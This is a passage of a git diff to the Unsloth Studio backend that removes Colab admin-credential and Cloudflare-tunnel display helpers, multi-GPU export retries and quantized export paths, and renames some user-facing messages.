url.startswith("https://") and str(port) in url) - - -def _is_colab_runtime() -> bool: - """True on a hosted Colab notebook kernel. - - Reuses the backend's main Colab detector (``/content`` + Colab env / ``google.colab``) - instead of a single env var, which is not always present on hosted runtimes. - """ - try: - from main import _IS_COLAB - return bool(_IS_COLAB) - except Exception: - return False - - -def _colab_login_credentials_path() -> Path: - from auth.storage import DB_PATH - return DB_PATH.parent / ".colab_notebook_login" - - -def _store_colab_login_credentials(username: str, password: str) -> None: - """Persist Colab admin credentials for notebook re-runs after interrupt.""" - path = _colab_login_credentials_path() - try: - path.parent.mkdir(parents = True, exist_ok = True) - path.write_text(f"{username}\n{password}\n", encoding = "utf-8") - try: - import os - os.chmod(path, 0o600) - except OSError: - pass - except OSError as e: - logger.info(f"Could not persist Colab login credentials ({e}).") - - -def _load_colab_login_credentials() -> "tuple[str, str] | None": - """Return stored Colab admin credentials from a previous ``start()`` run, if any.""" - path = _colab_login_credentials_path() - try: - if not path.is_file(): - return None - lines = path.read_text(encoding = "utf-8").splitlines() - if len(lines) >= 2 and lines[0] and lines[1]: - return lines[0], lines[1] - except (OSError, UnicodeDecodeError) as e: - logger.info(f"Could not load Colab login credentials ({e}).") - return None - - -def _clear_colab_login_credentials() -> None: - """Drop the cached Colab credentials once they no longer authenticate.""" - path = _colab_login_credentials_path() - try: - path.unlink(missing_ok = True) - except OSError as e: - logger.info(f"Could not clear Colab login credentials ({e}).") - - -def _colab_credentials_still_valid(username: str, password: str) -> bool: - """True when *password* still matches the stored admin hash. - - Guards against redisplaying a cached first-run password after the user has - changed the admin password through the app, which would print credentials - that no longer authenticate to the current Cloudflare tunnel. - """ - try: - from auth.storage import get_user_and_secret - from auth.hashing import verify_password - except Exception as e: - logger.info(f"Could not load auth to validate cached Colab credentials ({e}).") - return False - try: - row = get_user_and_secret(username) - if not row: - return False - salt, pwd_hash = row[0], row[1] - return bool(verify_password(password, salt, pwd_hash)) - except Exception as e: - logger.info(f"Could not validate cached Colab credentials ({e}).") - return False - - -def _colab_wants_cloudflare(cloudflare: "bool | None") -> bool: - """Resolve whether to open a Cloudflare tunnel. - - ``None`` auto-enables on real Colab (the in-cell proxy embed is often blank); - pass ``False`` to opt out. - """ - if cloudflare is not None: - return cloudflare - return _is_colab_runtime() - - -def _finalize_colab_admin_password() -> "tuple[str, str] | None": - """Clear the bootstrap-password gate on Colab so Cloudflare tunnels can start. - - Returns ``(username, password)`` for display in the notebook. On first run the - random admin password is finalized; on later runs (e.g. after interrupt) the - stored credentials are re-displayed so the Cloudflare link stays usable. - Anyone who can read this cell already controls the runtime. - """ - if not _is_colab_runtime(): - return None - try: - from auth.storage import ( - DEFAULT_ADMIN_USERNAME, - ensure_default_admin, - generate_bootstrap_password, - get_bootstrap_password, - requires_password_change, - update_password, - ) - except Exception as e: - logger.warning( - f"Could not load auth for Colab setup ({e}); Cloudflare link may be blocked." - ) - return None - - try: - ensure_default_admin() - username = DEFAULT_ADMIN_USERNAME - if not requires_password_change(username): - creds = _load_colab_login_credentials() - if creds is not None and _colab_credentials_still_valid(username, creds[1]): - return creds - # The admin password was changed through the app after the first run, - # so the cached copy is stale; drop it instead of printing dead credentials. - _clear_colab_login_credentials() - return None - password = get_bootstrap_password() or generate_bootstrap_password() - if not update_password(username, password): - logger.warning( - "Could not finalize Colab admin password; Cloudflare link may be blocked." - ) - return None - _store_colab_login_credentials(username, password) - return username, password - except Exception as e: - logger.warning( - f"Could not finalize Colab admin password ({e}); Cloudflare link may be blocked." - ) - return None - - -def _colab_login_html(username: str, password: str) -> str: - """Notebook card with Colab admin credentials (shown once after auto-finalize).""" - return f""" -
-

- Unsloth Studio Login (Colab) -

-

- Log in as {username} with this password. This cell is visible only in - your notebook session. -

-

- Password: {password} -

-
- """ - - -def _show_colab_login_credentials(username: str, password: str) -> None: - """Display Colab admin credentials in the notebook output.""" - from IPython.display import HTML, display - - logger.info(f"🔐 Unsloth Studio login — user: {username}") - display(HTML(_colab_login_html(username, password))) - - -def _ready_card_html( - url: str, - port: int, - *, - has_cloudflare_link: bool = False, - cloudflare_requested: bool = False, -) -> str: - """Branded ready card for the in-notebook Studio view. - - Colab ``*.prod.colab.dev`` proxy URLs are session-scoped and 404 when opened as a - top-level tab or on another device, so never ``window.open`` them. On real Colab the - Cloudflare link is the supported entry point because in-cell proxy embeds often stay blank. - """ - short_url = _short_colab_url(url, port) - if _is_colab_runtime() or _is_colab_proxy_url(url, port): - if has_cloudflare_link: - embed_note = ( - "Open Studio with the Cloudflare link above. In-cell proxy previews on " - "current Colab often stay blank, so the tunnel link is the supported path." - ) - elif cloudflare_requested: - embed_note = ( - "Could not open a Cloudflare tunnel, so Studio may be unreachable on Colab. " - "Check the logs above and re-run this cell. Pass " - '' - "cloudflare=True after fixing any tunnel errors." - ) - else: - embed_note = ( - "Colab proxy links cannot be opened in a new tab (they 404 outside this " - 'notebook). Re-run with start(cloudflare=True) for a working link.' - ) - return f""" -
-

- - Unsloth Studio is Ready! -

-

- {embed_note} -

-

- {short_url} -

-
- """ - - return f""" + html = f"""

None: - """Log a prominent warning when Colab expected a tunnel but none was opened.""" - if not use_cloudflare or cloudflare_url or not _is_colab_runtime(): - return - logger.warning( - "Colab Cloudflare tunnel unavailable — Studio is unlikely to be reachable in this " - "notebook. Check the logs above for tunnel or auth errors, then re-run start()." - ) + display(HTML(html)) def _bootstrap_password_pending() -> bool: """True while the default admin still owes a bootstrap-password change. - While pending, a public tunnel GET (no Origin) reads as same-origin and gets the - injected password, so sharing the link would leak admin access. Fails safe to pending. + While pending, main.py injects that password into same-origin GETs, and a public + tunnel GET (no Origin) reads as same-origin, so sharing the link would leak admin + access. Fails safe to pending if the state cannot be read. """ try: from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME @@ -369,14 +121,15 @@ def _bootstrap_password_pending() -> bool: def start_cloudflare_tunnel(port: int) -> "str | None": """Open a shareable Cloudflare quick tunnel to localhost:*port*, or None. - run_server suppresses the tunnel on Colab, so we start it directly. Refused while the - bootstrap password is pending; any failure collapses to None (Colab proxy still works). + run_server suppresses the tunnel on Colab by design, so we start it directly. + Refused while the bootstrap password is pending; any failure collapses to None + and the Colab proxy still works. """ if _bootstrap_password_pending(): logger.warning( "Cloudflare link not started: the admin account still has its temporary " "bootstrap password, which is exposed to anyone who can load the page. " - "Open Unsloth in this tab, log in and change the admin password, then re-run " + "Open Studio in this tab, log in and change the admin password, then re-run " "start(cloudflare=True) to get the shareable link." ) return None @@ -399,9 +152,9 @@ def start_cloudflare_tunnel(port: int) -> "str | None": def _publish_cloudflare_url(cloudflare_url: "str | None") -> None: """Publish a directly-started tunnel URL onto app.state so /api/health advertises it. - run_server sets this only when it opens the tunnel itself (skipped on Colab), so we - set it here; otherwise the frontend's API examples fall back to an unreachable - server_url. Best-effort. + run_server only sets this when it opens the tunnel itself, which it skips on Colab, + so we set it here. Otherwise the frontend's API examples fall back to an + unreachable server_url. Best-effort. """ if not cloudflare_url: return @@ -430,7 +183,8 @@ def _stop_cloudflare_tunnel() -> None: def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool: """True only if Unsloth Studio (not some other app) answers /api/health on *port*. - The service-marker check stops the reuse path reusing or tunneling a foreign process. + The service-marker check stops the reuse path reusing or tunneling a foreign + process that merely serves /api/health. """ import json, urllib.request try: @@ -440,29 +194,8 @@ def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool: return False -def _shareable_link_html( - cloudflare_url: str, - password: "str | None" = None, - username: "str | None" = None, -) -> str: - """Branded card for the shareable Cloudflare link, styled like the show_link banner. - - *password* renders under the link so the credential sits in the card with the button - it unlocks. The username is always the default admin, so it reads inline. - """ - login_block = "" - if password: - login_block = f""" -

- Password -

-

{password}

-

- Log in as {username} with this password. Shown only in your - notebook session, and never included in the shared link. -

""" +def _shareable_link_html(cloudflare_url: str) -> str: + """Branded card for the shareable Cloudflare link, styled like the show_link banner.""" return f"""
@@ -470,7 +203,7 @@ def _shareable_link_html( display: flex; align-items: center; gap: 12px;"> - Shareable Unsloth Link is Ready! + Shareable Studio Link is Ready!

- This Cloudflare HTTPS link works from any device, so you can share it with anyone. + This Cloudflare HTTPS link works from any device — share it with anyone. The Colab view below only works in this tab.

- 🔗 {cloudflare_url} -

{login_block} + 🔗 {cloudflare_url} +

""" -# Height for serve_kernel_port_as_iframe (~82vh on a 1080p screen, clamped). -_COLAB_IFRAME_HEIGHT = 900 +def _show_and_embed(port: int, *, cloudflare_url: "str | None" = None): + """Render the Studio header + iframe for *port*, with a shareable-link card above + when *cloudflare_url* is set. Falls back to serve_kernel_port_as_iframe.""" + url = get_colab_url(port) + logger.info(f"🌐 Unsloth Studio URL: {url}") + if cloudflare_url: + logger.info(f"🔗 Shareable Cloudflare link: {cloudflare_url}") - -def _embed_kernel_port_iframe(port: int) -> bool: - """Embed Studio via Colab's native kernel-port iframe helper. - - Only trusted on a real Colab runtime: colabtools can import ``google.colab`` and - queue browser-side JS without appending an iframe, so callers outside Colab must use - the HTML iframe path instead. - """ - if not _is_colab_runtime(): - return False - try: - from google.colab import output as colab_output - except ImportError: - return False - try: - colab_output.serve_kernel_port_as_iframe( - port, - height = _COLAB_IFRAME_HEIGHT, - width = "100%", - ) - return True - except Exception as e: - logger.info(f"serve_kernel_port_as_iframe failed ({e}); trying HTML iframe.") - return False - - -def _embed_html_iframe(url: str, port: int) -> bool: - """Fallback embed: raw HTML iframe when the Colab helper is unavailable.""" try: from IPython.display import HTML, display - except ImportError: - return False - short_url = _short_colab_url(url, port) - iframe_id = f"unsloth-studio-{port}" - try: + iframe_id = f"unsloth-studio-{port}" + + # Truncated header URL — best-effort, falls back to full URL. + try: + port_prefix = f"{port}-" + idx = url.index(port_prefix) + next_dash = url.index("-", idx + len(port_prefix)) + short_url = url[: next_dash + 1] + "..." + except (ValueError, IndexError): + short_url = url + + if cloudflare_url: + display(HTML(_shareable_link_html(cloudflare_url))) + display( HTML(f"""
ParsedUpdate | None: source = "github", status = "rate_limited", retry_after_sec = seconds, - message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."), + message = ("Waiting for GitHub rate limit. Studio will resume automatically."), ), ) @@ -147,7 +147,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: status = "rate_limited", retry_after_sec = seconds, message = ( - "Waiting for GitHub secondary rate limit. Unsloth will resume automatically." + "Waiting for GitHub secondary rate limit. Studio will resume automatically." ), ), ) @@ -161,7 +161,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: source = "github", status = "rate_limited", retry_after_sec = seconds, - message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."), + message = ("Waiting for GitHub rate limit. Studio will resume automatically."), ), ) diff --git a/studio/backend/core/data_recipe/local_callable_validators.py b/studio/backend/core/data_recipe/local_callable_validators.py index 143895d781..ebb1d39dfb 100644 --- a/studio/backend/core/data_recipe/local_callable_validators.py +++ b/studio/backend/core/data_recipe/local_callable_validators.py @@ -238,7 +238,7 @@ def _run_oxc_batch( if not node_executable: return _fallback_results( len(code_values), - "Node.js not found (install Node >= 20.19, or re-run Unsloth setup to provision it).", + "Node.js not found (install Node >= 20.19, or re-run Studio setup to provision it).", ) try: tmp_dir = ensure_dir(oxc_validator_tmp_root()) @@ -257,8 +257,6 @@ def _run_oxc_batch( cwd = str(_OXC_TOOL_DIR), input = json.dumps(payload), text = True, - encoding = "utf-8", - errors = "replace", capture_output = True, check = False, env = env, diff --git a/studio/backend/core/data_recipe/service.py b/studio/backend/core/data_recipe/service.py index 9770e88b7f..9d8ca5cfcc 100644 --- a/studio/backend/core/data_recipe/service.py +++ b/studio/backend/core/data_recipe/service.py @@ -9,8 +9,6 @@ import os from pathlib import Path from typing import Any -from utils.paths import recipe_datasets_root - from .jsonable import to_jsonable from .local_callable_validators import ( register_oxc_local_callable_validators, @@ -279,11 +277,6 @@ def create_data_designer(recipe: dict[str, Any], *, artifact_path: str | None = _apply_data_designer_image_context_patch() from data_designer.interface.data_designer import DataDesigner # pyright: ignore[reportMissingImports] - if artifact_path is None: - # DataDesigner defaults to cwd/artifacts; packaged Unsloth can run with - # cwd=/, so keep default callers on Unsloth's writable recipe artifact root. - artifact_path = str(recipe_datasets_root()) - recipe = _strip_frontend_model_config_metadata(recipe) model_providers = build_model_providers(recipe) _validate_recipe_runtime_support(recipe, model_providers) diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index 4979ebd48d..f243f5b65a 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -13,18 +13,7 @@ import shutil import contextlib from pathlib import Path from typing import Optional, Tuple, List - -# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable -# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash. -try: - from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX - _UNSLOTH_IMPORT_ERROR = None -except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load - FastLanguageModel = None - FastVisionModel = None - _IS_MLX = False - _UNSLOTH_IMPORT_ERROR = _unsloth_exc - +from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX from huggingface_hub import HfApi, ModelCard from utils.hardware import clear_gpu_cache @@ -38,167 +27,17 @@ from utils.paths import ( ) from core.inference import get_inference_backend -# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays -# importable; export then degrades to a clear "PyTorch is not installed" error. -torch = None -_TORCH_IMPORT_ERROR: Optional[BaseException] = None +# GPU-only imports — guarded for Apple Silicon where these aren't needed if not _IS_MLX: - try: - from peft import PeftModel, PeftModelForCausalLM - from transformers.modeling_utils import PushToHubMixin - import torch - except Exception as _torch_exc: # ImportError, or a broken native torch load - _TORCH_IMPORT_ERROR = _torch_exc + from peft import PeftModel, PeftModelForCausalLM + from transformers.modeling_utils import PushToHubMixin + import torch logger = get_logger(__name__) - -def _export_runtime_available() -> bool: - """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host).""" - return bool(_IS_MLX) or (FastLanguageModel is not None) - - -def _export_runtime_message() -> str: - """Precise reason the export runtime is unavailable, mirroring hardware.export_capability().""" - if torch is None: - return ( - "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " - "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." - ) - return ( - "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " - "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on " - "CPU only.)" - ) - - -# Kept for call sites / tests referencing the PyTorch-missing text. -_PYTORCH_MISSING_MESSAGE = ( - "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " - "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." -) - _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False -def _multi_gpu_device_map_kwargs() -> dict: - """``device_map`` kwargs for sharding a checkpoint across every visible GPU. - - unsloth's ``from_pretrained`` defaults to ``device_map="sequential"``, which stacks - the whole model on GPU0 and OOMs multi-GPU hosts whose other GPUs sit empty (#7053). - Returns ``{"device_map": "balanced"}`` only on a real multi-GPU CUDA/ROCm host - (mirroring the inference loader's ``get_device_map``), else empty so single-GPU, CPU - and MLX loads keep the loader default.""" - if _IS_MLX: - return {} - try: - from utils.hardware import get_device_map, get_parent_visible_gpu_ids - - visible = get_parent_visible_gpu_ids() - if len(visible) > 1: - device_map = get_device_map(visible) - elif not visible: - # UUID/MIG masks resolve to no numeric ids; get_device_map(None) falls back - # to the visible-GPU count, so a multi-GPU UUID/MIG host still shards. - device_map = get_device_map(None) - else: - return {} - if device_map == "balanced": - return {"device_map": device_map} - except Exception as exc: - logger.debug(f"multi-GPU device_map resolution failed; using loader default: {exc}") - return {} - - -def _is_oom_error(exc: BaseException) -> bool: - """True for an accelerator OOM, however it is spelled. - - accelerate and transformers re-raise it as a plain ``RuntimeError`` on several paths - and ROCm/XPU use their own classes, so match the message too. - """ - if torch is not None: - oom_types = tuple( - t - for t in ( - getattr(torch, "OutOfMemoryError", None), - getattr(getattr(torch, "cuda", None), "OutOfMemoryError", None), - getattr(getattr(torch, "xpu", None), "OutOfMemoryError", None), - ) - if isinstance(t, type) - ) - if oom_types and isinstance(exc, oom_types): - return True - return "out of memory" in f"{type(exc).__name__}: {exc}".lower() - - -def _is_cpu_spill_rejection(exc: BaseException) -> bool: - """bitsandbytes refuses a map that spills to CPU/disk with a plain ``ValueError``. - - Busy secondary GPUs can make ``balanced`` spill to CPU even where the old sequential - load fit on GPU0, and that message says nothing about memory, so the retry has to - match it explicitly. See transformers ``quantizers/quantizer_bnb_4bit.py``. - """ - return "dispatched on the cpu or the disk" in str(exc).lower() - - -class _CpuSpillRetry(Exception): - """A multi-GPU load that succeeded but left modules offloaded to CPU/disk.""" - - -def _cpu_offloaded_modules(model) -> int: - """Count the modules a load parked on CPU or disk. - - Only bitsandbytes refuses such a map; a full-precision load accepts it, leaves the - parameters on meta and dies much later in safetensors with "Cannot copy out of meta - tensor". Nothing raises at load time, so inspect the map directly. PEFT re-dispatches - when attaching an adapter, so in practice this catches merged checkpoints. - """ - device_map = getattr(model, "hf_device_map", None) or {} - return sum(1 for target in device_map.values() if str(target) in ("cpu", "disk")) - - -def _supports_kwarg(fn, name): - """True if `fn` accepts keyword `name` directly or via **kwargs.""" - import inspect - - try: - params = inspect.signature(fn).parameters - except (TypeError, ValueError): - return False - return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values()) - - -def _compressed_export_supported(): - """True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export.""" - try: - import unsloth.save as _us - return hasattr(_us, "_normalize_compressed_method") - except Exception: - return False - - -def _torchao_export_supported(): - """True if the installed unsloth build has the portable torchao FP8/INT8 export path.""" - try: - import unsloth.save as _us - return hasattr(_us, "_normalize_torchao_method") - except Exception: - return False - - -def _has_nvidia_gpu(): - """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it.""" - try: - from utils.hardware import hardware as _hw - return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM - except Exception: - try: - import torch - return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None - except Exception: - return False - - def _hf_offline(timeout = 3): """True if export should avoid the Hub: honors the HF offline env vars, else does one cheap TCP reachability probe so a network-down load uses local files / the HF cache @@ -241,7 +80,7 @@ def _offline_window_if(local_files_only): def _is_wsl(): """Detect if running under Windows Subsystem for Linux.""" try: - return "microsoft" in open("/proc/version", encoding = "utf-8").read().lower() + return "microsoft" in open("/proc/version").read().lower() except Exception: return False @@ -347,7 +186,6 @@ class ExportBackend: load_in_4bit: bool = True, trust_remote_code: bool = False, hf_token: Optional[str] = None, - _device_map_override: Optional[dict] = None, ) -> Tuple[bool, str]: """ Load a checkpoint for export. @@ -380,14 +218,6 @@ class ExportBackend: # Skip the Hub when offline so a no-internet export uses the local cache. local_files_only = _hf_offline() - # Shard across every visible GPU instead of stacking on GPU0 (#7053); {} on - # single-GPU/CPU/MLX. _device_map_override is the single-device retry below. - _device_map_kw = ( - _multi_gpu_device_map_kwargs() - if _device_map_override is None - else _device_map_override - ) - # Run the type-detection probes in the forced-offline window (else a gated # base 404s); it covers is_vision_model's Hub reads + the transformers-5 # subprocess, and local_files_only makes detect_audio_type's requests.get skip. @@ -413,7 +243,6 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) elif self._audio_type == "whisper": @@ -429,7 +258,6 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) elif self._audio_type == "snac": @@ -442,7 +270,6 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) elif self._audio_type == "bicodec": @@ -456,7 +283,6 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) elif self._audio_type == "dac": @@ -469,7 +295,6 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) elif self.is_vision: @@ -482,7 +307,6 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) tokenizer = processor # vision: processor acts as tokenizer @@ -496,16 +320,8 @@ class ExportBackend: trust_remote_code = trust_remote_code, token = token, local_files_only = local_files_only, - **_device_map_kw, ) - # Only when we asked for the multi-GPU map: a single-GPU host has no second - # placement to retry on, so leave its behaviour untouched. - _offloaded = _cpu_offloaded_modules(model) if _device_map_kw else 0 - if _device_map_override is None and _offloaded: - del model - raise _CpuSpillRetry(f"{_offloaded} module(s) offloaded to CPU/disk") - if _IS_MLX: # MLX doesn't use PeftModel — detect LoRA via adapter_config.json self.is_peft = adapter_config.exists() @@ -528,41 +344,11 @@ class ExportBackend: return True, f"Loaded {model_type} model{peft_info} successfully" except Exception as e: - # Sharding is an optimisation, never a requirement. "balanced" budgets from the - # free memory read BEFORE this process opens a CUDA context on each GPU, so when - # a training or chat job already owns the others the shard can OOM, or spill to - # CPU and be refused by bitsandbytes, where the old single-device load succeeded. - # Fall back once before giving up. - if ( - _device_map_override is None - and ( - isinstance(e, _CpuSpillRetry) or _is_oom_error(e) or _is_cpu_spill_rejection(e) - ) - and _multi_gpu_device_map_kwargs() - ): - # Retry outside this block: the live traceback pins the half-built model's - # frames, so an in-block retry inherits the exhausted device. - retry_reason = str(e) - else: - logger.error(f"Error loading checkpoint: {e}") - import traceback + logger.error(f"Error loading checkpoint: {e}") + import traceback - logger.error(traceback.format_exc()) - return False, f"Failed to load checkpoint: {str(e)}" - - logger.warning( - f"Multi-GPU export load unusable ({retry_reason}); retrying on " - f"the single-device loader default." - ) - self.cleanup_memory() - return self.load_checkpoint( - checkpoint_path, - max_seq_length = max_seq_length, - load_in_4bit = load_in_4bit, - trust_remote_code = trust_remote_code, - hf_token = hf_token, - _device_map_override = {}, - ) + logger.error(traceback.format_exc()) + return False, f"Failed to load checkpoint: {str(e)}" def _write_export_metadata(self, save_directory: str): """Write export_metadata.json with base model info for Chat page discovery.""" @@ -574,7 +360,7 @@ class ExportBackend: ) metadata = {"base_model": base_model} metadata_path = os.path.join(save_directory, "export_metadata.json") - with open(metadata_path, "w", encoding = "utf-8") as f: + with open(metadata_path, "w") as f: json.dump(metadata, f, indent = 2) logger.info(f"Wrote export metadata to {metadata_path}") except Exception as e: @@ -588,17 +374,13 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, - compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """ Export merged model (for PEFT models). Args: save_directory: Local directory to save model - format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label - compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8", - "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides - format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES. + format_type: "16-bit (FP16)" or "4-bit (FP4)" push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID (username/model-name) hf_token: Hugging Face token @@ -607,114 +389,27 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ - if not _export_runtime_available(): - return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike - # (save_pretrained_merged is a no-op merge that just saves the base). + if not self.is_peft: + return ( + False, + "This is not a PEFT model. Use 'Export Base Model' instead.", + None, + ) output_path: Optional[str] = None - # Quantized formats save to a sibling "-". Two backends: compressed-tensors - # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias - # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label. - _LABEL_TO_ALIAS = { - "FP8 (compressed-tensors)": "fp8", - "NVFP4 (compressed-tensors)": "nvfp4", - } - compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type) - compressed_suffix: Optional[str] = None - # Classify the alias: torchao-portable vs compressed-tensors. - torchao_info = None - if compressed_alias and _torchao_export_supported(): - try: - import unsloth.save as _us_t - torchao_info = _us_t._normalize_torchao_method(compressed_alias) - except Exception: - torchao_info = None - is_torchao = torchao_info is not None - is_compressed = compressed_alias is not None and not is_torchao try: - if _IS_MLX and (is_compressed or is_torchao): - return ( - False, - "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. " - "Use 16-bit or GGUF.", - None, - ) - - if is_torchao: - # Portable torchao: no NVIDIA GPU, no calibration. - compressed_suffix = torchao_info[1] - - if is_compressed: - # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed. - if not _has_nvidia_gpu(): - return ( - False, - "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other " - "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.", - None, - ) - if not _compressed_export_supported(): - return ( - False, - "Compressed-tensors (FP8/FP4) export requires an Unsloth build with " - "compressed-tensors support. Upgrade unsloth, or choose 16-bit.", - None, - ) - import unsloth.save as _us - - # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models - # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports - # through it when available; else fall back to the workspace 0.10.x path below. - _shadow_pp = None - try: - from utils.transformers_version import llmcompressor_shadow_pythonpath - _shadow_pp = llmcompressor_shadow_pythonpath() - except Exception as e: - logger.warning(f"llm-compressor-main shadow unavailable: {e}") - if _shadow_pp: - os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp - else: - # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its - # transformers ceiling, so fail fast for sidecar models; default-tier still works. - os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None) - _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling() - if _exceeds: - return ( - False, - "FP8/FP4 compressed-tensors export is not available for this model: it " - f"runs under transformers {_tf_ver}, but the installed llm-compressor " - f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the " - "llm-compressor-main runtime could not be provisioned (offline or " - "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.", - None, - ) - - try: - info = _us._normalize_compressed_method(compressed_alias) - except Exception as e: - return False, f"Unsupported compressed export '{compressed_alias}': {e}", None - if info is None: - return ( - False, - f"'{compressed_alias}' is not a recognized compressed-tensors export.", - None, - ) - compressed_suffix = info[2] - if _IS_MLX: mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" - elif is_compressed or is_torchao: - save_method = compressed_alias - elif format_type == "4-bit (FP4)": - save_method = "merged_4bit_forced" - elif self._audio_type == "whisper": - save_method = None else: - save_method = "merged_16bit" + if format_type == "4-bit (FP4)": + save_method = "merged_4bit_forced" + elif self._audio_type == "whisper": + save_method = None + else: + save_method = "merged_16bit" if save_directory: save_directory = str(resolve_export_write_dir(save_directory)) @@ -732,15 +427,9 @@ class ExportBackend: save_directory, self.current_tokenizer, save_method = save_method ) - # Compressed / torchao writes to the "-" sibling; report that as output. - final_dir = ( - f"{save_directory}-{compressed_suffix}" - if (is_compressed or is_torchao) - else save_directory - ) - self._write_export_metadata(final_dir) - logger.info(f"Model saved successfully to {final_dir}") - output_path = str(Path(final_dir).resolve()) + self._write_export_metadata(save_directory) + logger.info(f"Model saved successfully to {save_directory}") + output_path = str(Path(save_directory).resolve()) if push_to_hub: if not repo_id or not hf_token: @@ -775,31 +464,6 @@ class ExportBackend: token = hf_token, private = private, ) - elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir(): - # Already built in output_path; upload it directly instead of re-running the - # expensive quantization that push_to_hub_merged(save_method=...) would redo. - hf_api = HfApi(token = hf_token) - repo_id = PushToHubMixin._create_repo( - PushToHubMixin, - repo_id = repo_id, - private = private, - token = hf_token, - ) - content = MODEL_CARD.format( - username = repo_id.split("/")[0], - base_model = getattr(self.current_model.config, "_name_or_path", "unknown"), - model_type = getattr(self.current_model.config, "model_type", "llm"), - method = compressed_alias or format_type, - extra = "unsloth", - ) - ModelCard(content).push_to_hub( - repo_id, token = hf_token, commit_message = "Unsloth Model Card" - ) - hf_api.upload_folder( - folder_path = output_path, - repo_id = repo_id, - repo_type = "model", - ) else: hub_save_method = save_method if save_method is not None else "merged_16bit" self.current_model.push_to_hub_merged( @@ -835,8 +499,6 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ - if not _export_runtime_available(): - return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None @@ -955,20 +617,17 @@ class ExportBackend: def export_gguf( self, save_directory: str, - quantization_method = "Q4_K_M", + quantization_method: str = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, - imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: """ Export model in GGUF format. Args: save_directory: Local directory to save model - quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them - (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single - model load (unsloth save_to_gguf loops internally). + quantization_method: GGUF quantization method (e.g., "Q4_K_M") push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID hf_token: Hugging Face token @@ -976,35 +635,14 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ - if not _export_runtime_available(): - return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - # Only forward imatrix_file to an unsloth build that accepts 